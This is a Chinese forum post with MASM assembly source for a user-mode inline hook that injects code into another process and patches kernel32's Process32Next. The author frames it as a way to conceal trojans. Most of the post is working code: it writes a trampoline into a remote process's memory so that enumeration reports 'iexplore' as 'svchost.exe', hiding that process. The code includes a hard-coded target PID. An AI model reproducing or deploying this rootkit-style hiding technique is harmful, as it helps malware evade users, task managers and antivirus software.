by czy
我的思路:
1.得到本进程中包含被挂接API的DLL的基地址,该DLL代码节的虚拟偏移以及该API的入口地址.API入口地址-(代码节虚拟偏移+DLL基地址)=函数入口相对于代码节的偏移
2.得到目标进程的PID,以及目标进程包含被挂接API的DLL的基地址(注意一般来说和前面自身进程的值相同)前面得到的函数入口偏移+DLL基地址+代码节虚拟偏移=目标进程API函数入口地址
3.打开目标进程读目标进程API函数入口处128字节代码到自身进程的变量中.然后调用z0mbie写的LDE32库取该API函数入口处几个指令的长度当长度>=5时保存该长度(这样防止后面取指令没有对齐)
4.为我们的假函数在目标进程加载的DLL中分配空间(我是把代码写在PE头的后面)这儿要改该内存的属性为读写执行(PAGE_EXECUTE_READWRITE).为了方便编译我们的假函数是写在代码段中的,在运行时要把这些代码移到数据段,然后把第3步取出的指令放在数据段中相应的偏移处.同时还要在数据段中设置跳回真实函数的JMP指令.
5.把真正的API开头的指令改为JMP到我们的假函数中.
;目前遇到的问题:
1.在假函数中如何调用其它的API函数,以及如何方便的引用全局,局部变量
2.如何防止重复HOOK.
3.假函数写在目标DLL的哪儿比较适合.
看了网上不少公开的文章后写了这些代码,个人感觉应用层INLINE HOOK对于木马隐藏来说不是很有必要.因为WIN 2K及以后系统的COPY ON WRITE机制,导致象我这样的HOOK并不是全局的,要实现全局的要不是举例进程每个进程都这样处理一次,要不就是要安装全局钩子但一般这个操作都要引起杀毒软件的报警.另外如果上面第一种办法对于新启动的进程你还得不停的举例以便于找出新启动的进程哩.有些人说在驱动下可以有一个通知API,但这样的话还不如直接在驱动下HOOK SSDT或是驱动的INLINE HOOK了.
comment %
#--------------------------------------# #
# UserLand InLine Hook --> # #
# -->Hook Process32Next(only a Demo) # #
# 2007.03.10 #
# codz: czy # #
#------------------------------------------# #
system :test on XPSP2cn
%
.586
.model flat,stdcall
option casemap:none
include ../include/windows.inc
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
include ../include/shell32.inc
includelib ../lib/shell32.lib
.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline db 'Hook Process32Next Hide Process:)',0
sztext db '.text ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf db 256 dup (?)
.code
_ProcessPeFile proc _lpPeHead
local @szBuffer[1024]:byte,@szSectionName[16]:byte
mov esi,_lpPeHead
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
mov edi,esi
assume edi:ptr IMAGE_NT_HEADERS
;********************************************************************
; 循环显示每个节区的信息
;********************************************************************
movzx ecx,[edi].FileHeader.NumberOfSections
add edi,sizeof IMAGE_NT_HEADERS
assume edi:ptr IMAGE_SECTION_HEADER
.repeat
push ecx
;********************************************************************
; 节区名称
;********************************************************************
invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
push esi
push edi
mov ecx,8
mov esi,edi
lea edi,@szSectionName
cld
@@:
lodsb
.if ! al
mov al,' '
.endif
stosb
loop @B
pop edi
pop esi
;********************************************************************
invoke lstrcmpi,offset sztext,addr @szSectionName
.if eax == 0
push [edi].VirtualAddress
pop eax
ret
.else
add edi,sizeof IMAGE_SECTION_HEADER
.endif
;********************************************************************
pop ecx
.untilcxz
assume edi:nothing
ret
_ProcessPeFile endp
;得到相应进程的模块加载的起始地址
GetShell32Base proc uses ebx esi edi remoteproid
LOCAL hSnapshot:dword
LOCAL modinfo:MODULEENTRY32
LOCAL modname[256]:byte
mov modinfo.dwSize,sizeof MODULEENTRY32
invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
mov hSnapshot,eax
invoke Module32First,hSnapshot,addr modinfo
.while eax
lea ecx,modinfo.szModule
invoke lstrcmpi,offset kernel32,ecx
.if eax == 0
mov eax,modinfo.modBaseAddr
ret
.endif
invoke Module32Next,hSnapshot,addr modinfo
.endw
invoke CloseHandle,hSnapshot
ret
GetShell32Base endp
InlineHook proc
LOCAL hProcess:dword
LOCAL hKernel32:dword
LOCAL hAPI:dword
LOCAL PID:dword
LOCAL ModBase:dword
LOCAL OLDpro:dword
LOCAL CodeBuf[128]:byte
LOCAL optable[2048]:byte
LOCAL codelen:dword
LOCAL APIoffset:dword
LOCAL hAPI2:dword
LOCAL pHookFun:dword
LOCAL hooklen1:dword
LOCAL hookfunlen:dword
lea eax,optable
push eax
call disasm_init ;解压缩'指令长度表'
invoke LoadLibrary,offset kernel32 ;得到自身进程DLL的基地址
mov hKernel32,eax
invoke _ProcessPeFile,hKernel32 ;通过分析PE文件得到相应的.text节的虚拟偏移
mov VirtualAddress,eax ;一般为1000h
invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址
mov hAPI,eax
mov eax,hKernel32
add eax,VirtualAddress ;得到代码节起始地址
mov ecx,hAPI
sub ecx,eax ;函数入口相对于代码节的偏移
mov APIoffset,ecx
invoke GetCurrentProcessId
mov PID,eax
mov eax,9504
mov PID,eax
invoke GetShell32Base,eax
mov ModBase,eax ;得到目标进程DLL的基地址
add eax,VirtualAddress ;得到目标进程DLL的代码节基地址
add eax,APIoffset ;得到目标进程被HOOK的函数的入口地址
mov hAPI2,eax
invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
mov hProcess,eax
invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
lea esi,CodeBuf
xor edi,edi
@@nextcode:
push esi
lea eax,optable
push eax
call disasm_main
.if eax !=-1
add edi,eax
.if edi>=5
mov codelen,edi ;codelne记录应该COPY的代码字节数
jmp @@findok
.else
add esi,eax
jmp @@nextcode
.endif
.else
xor eax,eax
ret
.endif
@@findok:
;写HOOK函数到目标进程DLL的空闲空间中
mov eax,ModBase
add eax,VirtualAddress
sub eax,512
mov pHookFun,eax
invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro
;计算偏移
mov ecx,@@hookbeg
mov eax,@@fakeret
sub eax,ecx
mov hooklen1,eax
;计算HOOK函数的全部代码长度
mov ecx,@@hookbeg
mov eax,@@hookfunend
sub eax,ecx
mov hookfunlen,eax
;把HOOK函数从代码段移到变量中
mov eax,@@hookbeg
invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen
;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分
invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0
;移动被覆盖的原函数代码到目标内存中
mov ecx,pHookFun
add ecx,hooklen1
sub ecx,21
invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0
;跳回原函数
mov ecx,pHookFun
add ecx,hooklen1
mov edx,ecx
sub ecx,5 ;JMP指令的起始地址
mov eax,hAPI2
sub eax,edx
add eax,codelen
mov edx,offset JMPCODE2
inc edx
mov [edx],eax
invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0
;移动真正的HOOK功能代码到目标内存中
mov ecx,pHookFun
add ecx,hooklen1
mov eax,offset HookFunBuf
add eax,hooklen1
mov edx,hookfunlen
sub edx,hooklen1
invoke WriteProcessMemory,hProcess,ecx,eax,edx,0
;设置跳转指令
mov eax,pHookFun
sub eax,hAPI2
sub eax,5
mov ecx,offset JMPCODE
inc ecx
mov [ecx],eax
invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
invoke CloseHandle,hProcess
invoke MessageBox,0,offset inline,offset inline,1
ret
InlineHook endp
@@hookbeg:
push [esp+8] ;ARG2 有几个参数就ESP加几*4
push [esp+8] ;ARG1
jmp @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;这儿填被JMP覆盖的指令
somenop2 db 90h,90h,90h,90h,90h ;填跳回原函数的JMP指令
@@fakeret:
call @@setret
;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存
sub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
add edx,36
mov eax,[edx]
mov ecx,[edx+4]
.if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer换为svchost.exe
mov eax,'hcvs'
mov [edx],eax
mov eax,'.tso'
mov [edx+4],eax
mov eax,' exe'
mov [edx+8],eax
.endif
.endif
popad
add esp,8
;跳回正常的返回地址
ret 8 ;参数个数*4
@@hookfunend:
start:
invoke MessageBoxA,0,offset inline,offset inline,1
invoke InlineHook
invoke ExitProcess,0
include /masm32/include/lde32bin.inc
end start